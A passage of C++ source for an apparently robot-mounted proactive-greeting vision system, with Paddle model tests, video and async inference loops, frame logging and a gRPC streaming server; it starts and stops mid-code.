Eigen::VectorXf::Random(ROI_FEAT_DIM);\n  Instance randInst(pred, feat);\n  paddle::GetVisualToken(randInst, visualToken);\n  PrintVectorX<Eigen::VectorXf>(\"token\", visualToken, visualToken.size());\n  bool allEqual = true;\n  for (int i = 2 * ROI_FEAT_RESOLUTION * ROI_FEAT_RESOLUTION;\n       i < visualToken.size(); i++) {\n    if (visualToken(i) !=\n        feat(i - 2 * ROI_FEAT_RESOLUTION * ROI_FEAT_RESOLUTION))\n      allEqual = false;\n  }\n  if (!allEqual)\n    std::cout << \"WRONG! For random instance, its feat does not match\"\n              << std::endl;\n\n  if (allZero && allEqual)\n    std::cout << \"TestGetVisualToken passed!\" << std::endl;\n}\n\nvoid TestRunVisualTokenizer(paddle::PaddlePredictor *detectorPredictor,\n                            paddle::PaddlePredictor *predictor,\n                            std::string posFile, std::string negFile) {\n  cv::Mat posImg = cv::imread(posFile);\n  cv::Mat negImg = cv::imread(negFile);\n\n  Eigen::VectorXf posFlattenImg, negFlattenImg;\n  PreprocessImage(posImg, posFlattenImg);\n  PreprocessImage(negImg, negFlattenImg);\n\n  std::vector<Eigen::VectorXf> imgArray({posFlattenImg, negFlattenImg});\n  LoD predLod;\n  Eigen::VectorXf flattenPred, flattenFeatureMap;\n  int objCount = paddle::RunDetector(detectorPredictor, imgArray, predLod,\n                                     flattenPred, flattenFeatureMap);\n  if (objCount > 0) {\n    std::cout << \"Found \" << objCount << \" instances\" << std::endl;\n    Eigen::VectorXf flattenVisualTokens, flattenPaddingMask;\n    Eigen::VectorXi flattenFrameIds;\n    std::vector<FrameInstances> frameInstArray;\n    paddle::RunVisualTokenizer(predictor, 2, 1, objCount, predLod, flattenPred,\n                               flattenFeatureMap, flattenVisualTokens,\n                               flattenPaddingMask, flattenFrameIds,\n                               frameInstArray);\n    PrintVectorX<Eigen::VectorXf>(\"flattenFeatureMap\", flattenFeatureMap, 20);\n    PrintVectorX<Eigen::VectorXf>(\"flattenPaddingMask\", flattenPaddingMask,\n                                  flattenPaddingMask.size());\n    PrintVectorX<Eigen::VectorXi>(\"flattenFrameIds\", flattenFrameIds,\n                                  flattenFrameIds.size());\n  } else {\n    std::cout << \"No instances found\" << std::endl;\n  }\n}\n\nvoid TestGetAttnMask() {\n  int nframe = 2;\n  Eigen::VectorXf attnMask;\n  paddle::GetAttnMask(nframe, attnMask);\n  PrintVectorX<Eigen::VectorXf>(\"attnMask\", attnMask, attnMask.size());\n}\n\nvoid TestRunAttnCtrl(paddle::PaddlePredictor *detectorPredictor,\n                     paddle::PaddlePredictor *visualTokenizerPredictor,\n                     paddle::PaddlePredictor *predictor, std::string posFile,\n                     std::string negFile) {\n  int nframe = 10;\n  RowMajorMatrixXf visualTokenTensor(nframe,\n                                     TOKENS_PER_FRAME * VISUAL_TOKEN_DIM);\n  RowMajorMatrixXf paddingMaskTensor(nframe, TOKENS_PER_FRAME);\n  RowMajorMatrixXi frameIdsTensor(nframe, TOKENS_PER_FRAME);\n\n  for (int i = 0; i < nframe; i++) {\n    Eigen::VectorXf flattenImg;\n    if (i < nframe / 2) {\n      cv::Mat img = cv::imread(negFile);\n      PreprocessImage(img, flattenImg);\n    } else {\n      cv::Mat img = cv::imread(posFile);\n      PreprocessImage(img, flattenImg);\n    }\n\n    std::vector<Eigen::VectorXf> imgArray({flattenImg});\n    LoD predLod;\n    Eigen::VectorXf flattenPred, flattenFeatureMap;\n    int objCount = paddle::RunDetector(detectorPredictor, imgArray, predLod,\n                                       flattenPred, flattenFeatureMap);\n\n    Eigen::VectorXf flattenVisualTokens, flattenPaddingMask;\n    Eigen::VectorXi flattenFrameIds;\n    std::vector<FrameInstances> frameInstArray;\n    paddle::RunVisualTokenizer(visualTokenizerPredictor, 1, i + 1, objCount,\n                               predLod, flattenPred, flattenFeatureMap,\n                               flattenVisualTokens, flattenPaddingMask,\n                               flattenFrameIds, frameInstArray);\n\n    visualTokenTensor.row(i) = flattenVisualTokens;\n    paddingMaskTensor.row(i) = flattenPaddingMask;\n    frameIdsTensor.row(i) = flattenFrameIds;\n  }\n\n  Eigen::VectorXf flattenVisualTokens(Eigen::Map<Eigen::VectorXf>(\n      visualTokenTensor.data(), nframe * TOKENS_PER_FRAME * VISUAL_TOKEN_DIM));\n  Eigen::VectorXf flattenPaddingMask(Eigen::Map<Eigen::VectorXf>(\n      paddingMaskTensor.data(), nframe * TOKENS_PER_FRAME));\n  Eigen::VectorXi flattenFrameIds(Eigen::Map<Eigen::VectorXi>(\n      frameIdsTensor.data(), nframe * TOKENS_PER_FRAME));\n\n  Eigen::VectorXf flattenTriggerPred, flattenObjPred, flattenActPred,\n      flattenActTopKSample;\n  paddle::RunAttnCtrl(predictor, nframe, NUM_ACT, flattenVisualTokens,\n                      flattenPaddingMask, flattenFrameIds, flattenTriggerPred,\n                      flattenObjPred, flattenActPred, flattenActTopKSample);\n  PrintVectorX<Eigen::VectorXf>(\"flattenTriggerPred\", flattenTriggerPred,\n                                flattenTriggerPred.size());\n  PrintVectorX<Eigen::VectorXf>(\n      \"flattenObjPred\",\n      flattenObjPred.segment((nframe - 1) * TOKENS_PER_FRAME, TOKENS_PER_FRAME),\n      TOKENS_PER_FRAME);\n  PrintVectorX<Eigen::VectorXf>(\n      \"flattenActPred\", flattenActPred.segment((nframe - 1) * NUM_ACT, NUM_ACT),\n      NUM_ACT);\n  PrintVectorX<Eigen::VectorXf>(\"flattenActTopKSample\", flattenActTopKSample,\n                                flattenActTopKSample.size());\n}\n\nvoid TestPrepareMultimodalActions() {\n  std::string filename = FLAGS_dirname + \"/\" + \"multimodal_actions.txt\";\n  std::vector<MultimodalAction> multimodalActs;\n  PrepareMultimodalActions(filename, multimodalActs);\n  for (size_t i = 0; i < multimodalActs.size(); i++) {\n    std::cout << i << \": \" << multimodalActs[i] << std::endl;\n  }\n\n  std::cout << \"Selected safe actions:\" << std::endl;\n  int safeActNum = sizeof(SAFE_ACTS) / sizeof(SAFE_ACTS[0]);\n  for (int i = 0; i < safeActNum; i++)\n    std::cout << SAFE_ACTS[i] << \": \" << multimodalActs[SAFE_ACTS[i]]\n              << std::endl;\n}\n\nvoid TestVideo(paddle::PaddlePredictor *detectorPredictor,\n               paddle::PaddlePredictor *visualTokenizerPredictor,\n               paddle::PaddlePredictor *attnCtrlPredictor,\n               std::string videoPath) {\n  std::string actPath = FLAGS_dirname + \"/\" + \"multimodal_actions.txt\";\n  std::vector<MultimodalAction> multimodalActs;\n  PrepareMultimodalActions(actPath, multimodalActs);\n\n  cv::VideoCapture capture(videoPath);\n  if (!capture.isOpened()) {\n    std::cout << \"Error opening video file: \" << videoPath << std::endl;\n    return;\n  }\n\n  auto time1 = paddle::time();\n  int nframe = 0;\n  while (true) {\n    auto t1 = paddle::time();\n    cv::Mat img;\n    capture >> img;\n    if (img.empty())\n      break;\n    nframe++;\n    auto t2 = paddle::time();\n    LOG(INFO) << \"[read video] cost: \" << paddle::TimeDiff(t1, t2) << \"ms\"\n              << std::endl;\n\n    t1 = paddle::time();\n    Eigen::VectorXf flattenImg;\n    PreprocessImage(img, flattenImg);\n    t2 = paddle::time();\n    LOG(INFO) << \"[PreprocessImage] cost: \" << paddle::TimeDiff(t1, t2) << \"ms\"\n              << std::endl;\n\n    std::vector<Eigen::VectorXf> imgArray({flattenImg});\n    LoD predLod;\n    Eigen::VectorXf flattenPred, flattenFeatureMap;\n    int objCount = paddle::RunDetector(detectorPredictor, imgArray, predLod,\n                                       flattenPred, flattenFeatureMap);\n\n    Eigen::VectorXf flattenVisualTokens, flattenPaddingMask;\n    Eigen::VectorXi flattenFrameIds;\n    std::vector<FrameInstances> frameInstArray;\n    paddle::RunVisualTokenizer(\n        visualTokenizerPredictor, 1, obWindow.size() + 1, objCount, predLod,\n        flattenPred, flattenFeatureMap, flattenVisualTokens, flattenPaddingMask,\n        flattenFrameIds, frameInstArray);\n\n    if (obWindow.size() < OB_WINDOW_LEN) {\n      obWindow.push_back(img);\n      visualTokensWindow.push_back(flattenVisualTokens);\n      paddingMaskWindow.push_back(flattenPaddingMask);\n      sharedFrameIds.push_back(flattenFrameIds);\n      frameInstWindow.push_back(frameInstArray[0]);\n    } else {\n      obWindow.pop_front();\n      visualTokensWindow.pop_front();\n      paddingMaskWindow.pop_front();\n      frameInstWindow.pop_front();\n\n      obWindow.push_back(img);\n      visualTokensWindow.push_back(flattenVisualTokens);\n      paddingMaskWindow.push_back(flattenPaddingMask);\n      frameInstWindow.push_back(frameInstArray[0]);\n    }\n\n    if (obWindow.size() < OB_WINDOW_LEN)\n      continue;\n\n    Eigen::VectorXf fullVisualTokens, fullPaddingMask;\n    Eigen::VectorXi fullFrameIds;\n    fullVisualTokens.resize(OB_WINDOW_LEN * TOKENS_PER_FRAME *\n                            VISUAL_TOKEN_DIM);\n    fullPaddingMask.resize(OB_WINDOW_LEN * TOKENS_PER_FRAME);\n    fullFrameIds.resize(OB_WINDOW_LEN * TOKENS_PER_FRAME);\n\n    for (int i = 0; i < OB_WINDOW_LEN; i++) {\n      fullVisualTokens.segment(i * TOKENS_PER_FRAME * VISUAL_TOKEN_DIM,\n                               TOKENS_PER_FRAME * VISUAL_TOKEN_DIM) =\n          visualTokensWindow[i];\n      fullPaddingMask.segment(i * TOKENS_PER_FRAME, TOKENS_PER_FRAME) =\n          paddingMaskWindow[i];\n      fullFrameIds.segment(i * TOKENS_PER_FRAME, TOKENS_PER_FRAME) =\n          sharedFrameIds[i];\n    }\n\n    Eigen::VectorXf flattenTriggerPred, flattenObjPred, flattenActPred,\n        flattenActTopKSample;\n    paddle::RunAttnCtrl(attnCtrlPredictor, OB_WINDOW_LEN, NUM_ACT,\n                        fullVisualTokens, fullPaddingMask, fullFrameIds,\n                        flattenTriggerPred, flattenObjPred, flattenActPred,\n                        flattenActTopKSample);\n\n    Eigen::VectorXf objMask;\n    paddle::GetObjMask(frameInstArray[0], objMask);\n    PrintVectorX<Eigen::VectorXf>(\"objMask\", objMask, objMask.size());\n    Eigen::VectorXf objPred = flattenObjPred.segment(\n        (OB_WINDOW_LEN - 1) * TOKENS_PER_FRAME, TOKENS_PER_FRAME);\n    objPred = objPred.array() * objMask.array();\n    PrintVectorX<Eigen::VectorXf>(\"objPred\", objPred, objPred.size());\n\n    std::string resJson;\n    paddle::ConvertPredToJsons(\n        flattenTriggerPred(OB_WINDOW_LEN - 1), 0, false, objPred,\n        flattenActPred.segment((OB_WINDOW_LEN - 1) * NUM_ACT, NUM_ACT),\n        flattenActTopKSample, frameInstArray[0], multimodalActs, resJson);\n    std::cout << resJson << std::endl;\n  }\n\n  auto time2 = paddle::time();\n  double ms = paddle::TimeDiff(time1, time2);\n  double fps = nframe / (ms / 1000);\n  std::cout << \"Avg fps: \" << fps << std::endl;\n}\n\n#ifdef SERVER_MODE\nusing grpc::Server;\nusing grpc::ServerBuilder;\nusing grpc::ServerContext;\nusing grpc::ServerReaderWriter;\nusing grpc::Status;\nusing grpc::WriteOptions;\n\n#ifdef ASYNC_INFER\nvoid AsyncRunDetector(paddle::PaddlePredictor *detectorPredictor) {\n  PreprocessRes prepRes;\n  while (true) {\n    bool hasTask = preprocessQ.pop(prepRes);\n    if (!hasTask)\n      continue;\n\n    std::vector<Eigen::VectorXf> imgArray({prepRes.flattenImg});\n\n    DetectorRes detRes;\n    detRes.id = prepRes.id;\n    detRes.ob = prepRes.ob;\n    detRes.objCount =\n        paddle::RunDetector(detectorPredictor, imgArray, detRes.lod,\n                            detRes.flattenPred, detRes.flattenFeatureMap);\n    detectorQ.push(detRes);\n\n    // LoD predLod;\n    // Eigen::VectorXf flattenPred, flattenFeatureMap;\n    // int objCount = paddle::RunDetector(detectorPredictor, imgArray, predLod,\n    //                                    flattenPred, flattenFeatureMap);\n  }\n}\n\nvoid AsyncRunVTokenizerAttnCtrl(\n    paddle::PaddlePredictor *visualTokenizerPredictor,\n    paddle::PaddlePredictor *attnCtrlPredictor) {\n\n  std::string actPath = FLAGS_dirname + \"/\" + \"multimodal_actions.txt\";\n  std::vector<MultimodalAction> multimodalActs;\n  PrepareMultimodalActions(actPath, multimodalActs);\n\n  // random engine for diversity\n  std::default_random_engine rnd;\n  rnd.seed(std::chrono::system_clock::now().time_since_epoch().count());\n  std::uniform_real_distribution<double> uniform(0, 1);\n\n  DetectorRes detRes;\n  while (true) {\n    bool hasTask = detectorQ.pop(detRes);\n    if (!hasTask)\n      continue;\n\n    if (robotWakeup) {\n      obWindow.clear();\n      visualTokensWindow.clear();\n      paddingMaskWindow.clear();\n      frameInstWindow.clear();\n      continue;\n    }\n\n    Eigen::VectorXf flattenVisualTokens, flattenPaddingMask;\n    Eigen::VectorXi flattenFrameIds;\n    std::vector<FrameInstances> frameInstArray;\n    paddle::RunVisualTokenizer(visualTokenizerPredictor, 1, obWindow.size() + 1,\n                               detRes.objCount, detRes.lod, detRes.flattenPred,\n                               detRes.flattenFeatureMap, flattenVisualTokens,\n                               flattenPaddingMask, flattenFrameIds,\n                               frameInstArray);\n\n    if (obWindow.size() < OB_WINDOW_LEN) {\n      obWindow.push_back(detRes.ob);\n      visualTokensWindow.push_back(flattenVisualTokens);\n      paddingMaskWindow.push_back(flattenPaddingMask);\n      sharedFrameIds.push_back(flattenFrameIds);\n      frameInstWindow.push_back(frameInstArray[0]);\n    } else {\n      obWindow.pop_front();\n      visualTokensWindow.pop_front();\n      paddingMaskWindow.pop_front();\n      frameInstWindow.pop_front();\n\n      obWindow.push_back(detRes.ob);\n      visualTokensWindow.push_back(flattenVisualTokens);\n      paddingMaskWindow.push_back(flattenPaddingMask);\n      frameInstWindow.push_back(frameInstArray[0]);\n    }\n\n    if (obWindow.size() < OB_WINDOW_LEN)\n      continue;\n\n    Eigen::VectorXf fullVisualTokens, fullPaddingMask;\n    Eigen::VectorXi fullFrameIds;\n    fullVisualTokens.resize(OB_WINDOW_LEN * TOKENS_PER_FRAME *\n                            VISUAL_TOKEN_DIM);\n    fullPaddingMask.resize(OB_WINDOW_LEN * TOKENS_PER_FRAME);\n    fullFrameIds.resize(OB_WINDOW_LEN * TOKENS_PER_FRAME);\n\n    for (int i = 0; i < OB_WINDOW_LEN; i++) {\n      fullVisualTokens.segment(i * TOKENS_PER_FRAME * VISUAL_TOKEN_DIM,\n                               TOKENS_PER_FRAME * VISUAL_TOKEN_DIM) =\n          visualTokensWindow[i];\n      fullPaddingMask.segment(i * TOKENS_PER_FRAME, TOKENS_PER_FRAME) =\n          paddingMaskWindow[i];\n      fullFrameIds.segment(i * TOKENS_PER_FRAME, TOKENS_PER_FRAME) =\n          sharedFrameIds[i];\n    }\n\n    Eigen::VectorXf flattenTriggerPred, flattenObjPred, flattenActPred,\n        flattenActTopKSample;\n    paddle::RunAttnCtrl(attnCtrlPredictor, OB_WINDOW_LEN, NUM_ACT,\n                        fullVisualTokens, fullPaddingMask, fullFrameIds,\n                        flattenTriggerPred, flattenObjPred, flattenActPred,\n                        flattenActTopKSample);\n\n    bool useSkill = CheckNearField(frameInstArray[0]);\n\n    Eigen::VectorXf objMask;\n    paddle::GetObjMask(frameInstArray[0], objMask);\n    Eigen::VectorXf objPred = flattenObjPred.segment(\n        (OB_WINDOW_LEN - 1) * TOKENS_PER_FRAME, TOKENS_PER_FRAME);\n    objPred = objPred.array() * objMask.array();\n\n    std::string resJson;\n    bool hasAct = paddle::ConvertPredToJsons(\n        flattenTriggerPred(OB_WINDOW_LEN - 1), detRes.id, useSkill, objPred,\n        flattenActPred.segment((OB_WINDOW_LEN - 1) * NUM_ACT, NUM_ACT),\n        flattenActTopKSample, frameInstArray[0], multimodalActs, resJson);\n    bool lagSensitive = CheckLagSensitive(frameInstArray[0]);\n\n    if (hasAct) {\n      Response res;\n      res.id = detRes.id;\n      res.jsonStr = resJson;\n      res.lagSensitive = lagSensitive;\n      ctrlQ.push(res);\n\n      Log log;\n      log.id = detRes.id;\n      log.confidence = flattenTriggerPred(OB_WINDOW_LEN - 1);\n      log.jsonStr = resJson;\n      log.obs = {obWindow.begin(), obWindow.end()};\n      log.frameInstArray.resize(frameInstWindow.size());\n      for (size_t i = 0; i < frameInstWindow.size(); i++) {\n        for (size_t j = 0; j < frameInstWindow[i].size(); j++)\n          log.frameInstArray[i].push_back(frameInstWindow[i][j]);\n      }\n      log.actPred =\n          flattenActPred.segment((OB_WINDOW_LEN - 1) * NUM_ACT, NUM_ACT);\n      log.objPred = objPred;\n      logQ.push(log);\n    }\n  } // end of while loop\n}\n#endif // end of block for async functional pipeline\n\nvoid ProcessLog() {\n  std::string actPath = FLAGS_dirname + \"/\" + \"multimodal_actions.txt\";\n  std::vector<MultimodalAction> multimodalActs;\n  PrepareMultimodalActions(actPath, multimodalActs);\n\n  Log log;\n  while (true) {\n    bool hasLog = logQ.pop(log);\n    if (!hasLog) {\n      // log writer is not so urgent.\n      std::this_thread::sleep_for(std::chrono::seconds(1));\n      continue;\n    }\n\n    int lastID = log.frameInstArray.size() - 1;\n    bool isSensitive = CheckLagSensitive(log.frameInstArray[lastID]);\n    if (isSensitive)\n      continue;\n\n    std::string logdir = FLAGS_logdir + \"/\" + std::to_string(log.id);\n    if (boost::filesystem::create_directories(logdir)) {\n      for (size_t i = 0; i < log.obs.size(); i++) {\n        cv::imwrite(logdir + \"/\" + std::to_string(i) + \".jpg\", log.obs[i]);\n\n        for (int j = 0; j < TOKENS_PER_FRAME; j++) {\n          if (log.frameInstArray[i][j].classID != 0)\n            break;\n\n          double aspectRatio = IMG_RESIZE / (VIEW_W + 0.0);\n          int x1 =\n              std::max(0, static_cast<int>(log.frameInstArray[i][j].bbox(0) *\n                                           aspectRatio));\n          int y1 =\n              std::max(0, static_cast<int>(log.frameInstArray[i][j].bbox(1) *\n                                           aspectRatio));\n          int x2 = std::min(\n              static_cast<int>(VIEW_W * aspectRatio),\n              static_cast<int>(log.frameInstArray[i][j].bbox(2) * aspectRatio));\n          int y2 = std::min(\n              static_cast<int>(VIEW_H * aspectRatio),\n              static_cast<int>(log.frameInstArray[i][j].bbox(3) * aspectRatio));\n\n          cv::Rect bbox(x1, y1, x2 - x1, y2 - y1);\n          cv::rectangle(log.obs[i], bbox, cv::Scalar(0, 255, 0), 2, 8);\n\n          // TODO: display obj confidence\n          cv::putText(log.obs[i], std::to_string(j), cv::Point(x1 + 2, y1 + 10),\n                      cv::FONT_HERSHEY_SIMPLEX, 0.45, cv::Scalar(0, 0, 255), 1);\n        }\n\n        cv::imwrite(logdir + \"/\" + std::to_string(i) + \"_vis.jpg\", log.obs[i]);\n      }\n\n      std::string jsonfile = logdir + \"/res.txt\";\n      std::ofstream outfile(jsonfile);\n      if (outfile.is_open()) {\n        outfile << log.confidence << std::endl;\n        outfile << log.jsonStr << std::endl;\n\n        // for (size_t i = 0; i < multimodalActs.size(); i++)\n        for (size_t i : ArgSort(log.actPred))\n          outfile << log.actPred(i) << \" \" << multimodalActs[i].to_json()\n                  << std::endl;\n\n        outfile.close();\n      } else {\n        LOG(WARNING) << \"Cannot create \" + jsonfile << std::endl;\n      }\n\n      std::string instfile = logdir + \"/inst.txt\";\n      std::ofstream outfile2(instfile);\n      if (outfile2.is_open()) {\n        for (size_t i = 0; i < log.frameInstArray.size(); i++) {\n          for (int j = 0; j < TOKENS_PER_FRAME; j++) {\n            if (i == log.frameInstArray.size() - 1)\n              outfile2 << \"#\" << i << \"-\" << j << \": \" << log.objPred(j)\n                       << std::endl;\n            else\n              outfile2 << \"#\" << i << \"-\" << j << std::endl;\n\n            outfile2 << log.frameInstArray[i][j].classID << std::endl;\n            outfile2 << log.frameInstArray[i][j].score << std::endl;\n\n            for (int k = 0; k < 4; k++)\n              outfile2 << log.frameInstArray[i][j].bbox(k) << \" \";\n            float bboxSize = (log.frameInstArray[i][j].bbox(3) -\n                              log.frameInstArray[i][j].bbox(1)) *\n                             (log.frameInstArray[i][j].bbox(2) -\n                              log.frameInstArray[i][j].bbox(0));\n            outfile2 << bboxSize << std::endl;\n\n            if (FLAGS_salutation)\n              outfile2 << log.frameInstArray[i][j].salutation_cls_tree()\n                       << std::endl;\n\n            for (int k = 0; k < ROI_FEAT_DIM - 1; k++)\n              outfile2 << log.frameInstArray[i][j].feat(k) << \" \";\n            outfile2 << log.frameInstArray[i][j].feat(ROI_FEAT_DIM - 1)\n                     << std::endl;\n          }\n        }\n\n        outfile2.close();\n      } else {\n        LOG(WARNING) << \"Cannot create \" + instfile << std::endl;\n      }\n    } else {\n      LOG(WARNING) << \"Cannot create \" + logdir << std::endl;\n    }\n  }\n}\n\nvoid ProcessRequest(paddle::PaddlePredictor *detectorPredictor,\n                    paddle::PaddlePredictor *visualTokenizerPredictor,\n                    paddle::PaddlePredictor *attnCtrlPredictor) {\n  // random engine for diversity\n  std::default_random_engine rnd;\n  rnd.seed(std::chrono::system_clock::now().time_since_epoch().count());\n  std::uniform_real_distribution<double> uniform(0, 1);\n\n  std::string actPath = FLAGS_dirname + \"/\" + \"multimodal_actions.txt\";\n  std::vector<MultimodalAction> multimodalActs;\n  PrepareMultimodalActions(actPath, multimodalActs);\n\n  while (true) {\n    Request req;\n    bool hasRequest = requestQ.pop(req);\n    if (!hasRequest)\n      continue;\n\n    if (robotWakeup) {\n      obWindow.clear();\n      visualTokensWindow.clear();\n      paddingMaskWindow.clear();\n      frameInstWindow.clear();\n      continue;\n    }\n\n    auto t1 = paddle::time();\n    Eigen::VectorXf flattenImg;\n    // cv::imwrite(\"infer_img\" + std::to_string(req.id) + \".jpg\", req.ob);\n    PreprocessImage(req.ob, flattenImg);\n\n    auto t2 = paddle::time();\n    LOG(INFO) << \"[PreprocessImage] cost: \" << paddle::TimeDiff(t1, t2) << \"ms\"\n              << std::endl;\n\n#ifndef ASYNC_INFER\n    std::vector<Eigen::VectorXf> imgArray({flattenImg});\n    LoD predLod;\n    Eigen::VectorXf flattenPred, flattenFeatureMap;\n    int objCount = paddle::RunDetector(detectorPredictor, imgArray, predLod,\n                                       flattenPred, flattenFeatureMap);\n\n    Eigen::VectorXf flattenVisualTokens, flattenPaddingMask;\n    Eigen::VectorXi flattenFrameIds;\n    std::vector<FrameInstances> frameInstArray;\n    paddle::RunVisualTokenizer(\n        visualTokenizerPredictor, 1, obWindow.size() + 1, objCount, predLod,\n        flattenPred, flattenFeatureMap, flattenVisualTokens, flattenPaddingMask,\n        flattenFrameIds, frameInstArray);\n\n    if (obWindow.size() < OB_WINDOW_LEN) {\n      obWindow.push_back(req.ob);\n      visualTokensWindow.push_back(flattenVisualTokens);\n      paddingMaskWindow.push_back(flattenPaddingMask);\n      sharedFrameIds.push_back(flattenFrameIds);\n      frameInstWindow.push_back(frameInstArray[0]);\n    } else {\n      obWindow.pop_front();\n      visualTokensWindow.pop_front();\n      paddingMaskWindow.pop_front();\n      frameInstWindow.pop_front();\n\n      obWindow.push_back(req.ob);\n      visualTokensWindow.push_back(flattenVisualTokens);\n      paddingMaskWindow.push_back(flattenPaddingMask);\n      frameInstWindow.push_back(frameInstArray[0]);\n    }\n\n    if (obWindow.size() < OB_WINDOW_LEN)\n      continue;\n\n    Eigen::VectorXf fullVisualTokens, fullPaddingMask;\n    Eigen::VectorXi fullFrameIds;\n    fullVisualTokens.resize(OB_WINDOW_LEN * TOKENS_PER_FRAME *\n                            VISUAL_TOKEN_DIM);\n    fullPaddingMask.resize(OB_WINDOW_LEN * TOKENS_PER_FRAME);\n    fullFrameIds.resize(OB_WINDOW_LEN * TOKENS_PER_FRAME);\n\n    for (int i = 0; i < OB_WINDOW_LEN; i++) {\n      fullVisualTokens.segment(i * TOKENS_PER_FRAME * VISUAL_TOKEN_DIM,\n                               TOKENS_PER_FRAME * VISUAL_TOKEN_DIM) =\n          visualTokensWindow[i];\n      fullPaddingMask.segment(i * TOKENS_PER_FRAME, TOKENS_PER_FRAME) =\n          paddingMaskWindow[i];\n      fullFrameIds.segment(i * TOKENS_PER_FRAME, TOKENS_PER_FRAME) =\n          sharedFrameIds[i];\n    }\n\n    Eigen::VectorXf flattenTriggerPred, flattenObjPred, flattenActPred,\n        flattenActTopKSample;\n    bool paddleError = false;\n    try {\n      paddle::RunAttnCtrl(attnCtrlPredictor, OB_WINDOW_LEN, NUM_ACT,\n                          fullVisualTokens, fullPaddingMask, fullFrameIds,\n                          flattenTriggerPred, flattenObjPred, flattenActPred,\n                          flattenActTopKSample);\n    } catch (const std::runtime_error &error) {\n      paddleError = true;\n    }\n\n    if (paddleError)\n      continue;\n\n    bool useSkill = CheckNearField(frameInstArray[0]);\n\n    Eigen::VectorXf objMask;\n    paddle::GetObjMask(frameInstArray[0], objMask);\n    Eigen::VectorXf objPred = flattenObjPred.segment(\n        (OB_WINDOW_LEN - 1) * TOKENS_PER_FRAME, TOKENS_PER_FRAME);\n    objPred = objPred.array() * objMask.array();\n\n    std::string resJson;\n    bool hasAct = paddle::ConvertPredToJsons(\n        flattenTriggerPred(OB_WINDOW_LEN - 1), req.id, useSkill, objPred,\n        flattenActPred.segment((OB_WINDOW_LEN - 1) * NUM_ACT, NUM_ACT),\n        flattenActTopKSample, frameInstArray[0], multimodalActs, resJson);\n    bool lagSensitive = CheckLagSensitive(frameInstArray[0]);\n\n    if (hasAct) {\n      Response res;\n      res.id = req.id;\n      res.jsonStr = resJson;\n      res.lagSensitive = lagSensitive;\n      ctrlQ.push(res);\n\n      Log log;\n      log.id = req.id;\n      log.confidence = flattenTriggerPred(OB_WINDOW_LEN - 1);\n      log.jsonStr = resJson;\n      log.obs = {obWindow.begin(), obWindow.end()};\n      log.frameInstArray.resize(frameInstWindow.size());\n      for (size_t i = 0; i < frameInstWindow.size(); i++) {\n        for (size_t j = 0; j < frameInstWindow[i].size(); j++)\n          log.frameInstArray[i].push_back(frameInstWindow[i][j]);\n      }\n      log.actPred =\n          flattenActPred.segment((OB_WINDOW_LEN - 1) * NUM_ACT, NUM_ACT);\n      log.objPred = objPred;\n      logQ.push(log);\n    }\n#else // end of sync infer and begin of async infer\n\n    PreprocessRes prepRes;\n    prepRes.id = req.id;\n    prepRes.ob = req.ob;\n    prepRes.flattenImg = flattenImg;\n    preprocessQ.push(prepRes);\n\n#endif // end of async infer\n  }    // end of while loop\n}\n\ncv::Mat DecodeImage(grpc::VideoRequest &request) {\n  std::string bytesStr = request.curframe();\n  cv::Mat frame(VIEW_H, VIEW_W, CV_8UC3, const_cast<char *>(bytesStr.c_str()));\n  return frame;\n}\n\nclass ProactiveGreetingServiceImpl final\n    : public grpc::ProactiveGreeting::Service {\n  Status infer(ServerContext *context,\n               ServerReaderWriter<grpc::InferResponse, grpc::VideoRequest>\n                   *stream) override {\n    grpc::VideoRequest request;\n    auto lastValidResTime = paddle::time();\n    while (stream->Read(&request)) {\n      Request req;\n      req.ob = DecodeImage(request).clone();\n      req.id = static_cast<int>(request.reqid());\n      req.wakeup = request.wakeup();\n      robotWakeup = req.wakeup == \"1\";\n      requestQ.push(req);\n      // cv::imwrite(\"infer_img_raw\" + std::to_string(request.reqid()) + \".jpg\",\n      //             req.ob);\n\n      grpc::InferResponse res;\n      Response resp;\n      bool hasAct = ctrlQ.pop(resp);\n      bool respSet = hasAct;\n      while (hasAct) {\n        // Get last one\n        hasAct = ctrlQ.pop(resp);\n        respSet |= hasAct;\n      }\n\n      // Handle lag sensitive response\n      if (respSet && resp.lagSensitive) {\n        respSet = false;\n        lastValidResTime = paddle::time();\n        LOG(INFO) << \"Ignore lag sensitive response...\" << std::endl;\n      }\n\n      if (respSet) {\n        double deltaT = paddle::TimeDiff(lastValidResTime, paddle::time());\n        if (req.id - resp.id > FLAGS_timeout || deltaT < FLAGS_occupy) {\n          // Process timeout or robot is occupied\n          robotWakeup = true;\n          Response r;\n          while (ctrlQ.pop(r))\n            continue;\n\n          std::string jsonStr = \"{\\\"QueryID\\\": \" + std::to_string(req.id) + \"}\";\n          res.set_response(jsonStr);\n\n          if (context->IsCancelled()) {\n            stream->WriteLast(res, WriteOptions().set_last_message());\n            return Status::CANCELLED;\n          }\n\n          stream->Write(res);\n          LOG(INFO) << jsonStr << std::endl;\n          LOG(WARNING) << \"Timeout...\" << std::endl;\n\n        } else {\n          res.set_response(resp.jsonStr);\n          if (context->IsCancelled()) {\n            stream->WriteLast(res, WriteOptions().set_last_message());\n            return Status::CANCELLED;\n          }\n\n          stream->Write(res);\n          LOG(INFO) << resp.jsonStr << std::endl;\n          lastValidResTime = paddle::time();\n        }\n\n      } else {\n        std::string jsonStr = \"{\\\"QueryID\\\": \" + std::to_string(req.id) + \"}\";\n        res.set_response(jsonStr);\n        if (context->IsCancelled()) {\n          stream->WriteLast(res, WriteOptions().set_last_message());\n          return Status::CANCELLED;\n        }\n\n        stream->Write(res);\n        LOG(INFO) << jsonStr << std::endl;\n      }\n    }\n    return Status::OK;\n  }\n\n}; // end of ProactiveGreetingServiceImpl\n\nvoid RunServer() {\n  std::string server_address(\"0.0.0.0:\" + std::to_string(FLAGS_port));\n  ProactiveGreetingServiceImpl service;\n  ServerBuilder builder;\n  builder.AddListeningPort(server_address, grpc::InsecureServerCredentials());\n  builder.RegisterService(&service);\n  std::unique_ptr<Server> server(builder.BuildAndStart());\n  std::cout << \"Server listening on \" << server_address << std::endl;\n  server->Wait();\n}\n#endif // end of grpc server\n\nusing namespace std;\n\nint main(int argc, char *argv[]) {\n  gflags::SetUsageMessage(\"Usage : ./infer_v3 \");\n  gflags::ParseCommandLineFlags(&argc, &argv, true);\n  LOG(INFO) << \"Directory of the inference model and params: \" << FLAGS_dirname\n            << endl;\n\n  // Init predictors\n  paddle::AnalysisConfig detectorCfg;\n  // detectorCfg.EnableProfile();\n  paddle::PrepareTRTConfig(&detectorCfg, \"detector\");\n  auto detectorPredictor = paddle::CreatePaddlePredictor(detectorCfg);\n  LOG(INFO) << \"Created detector model 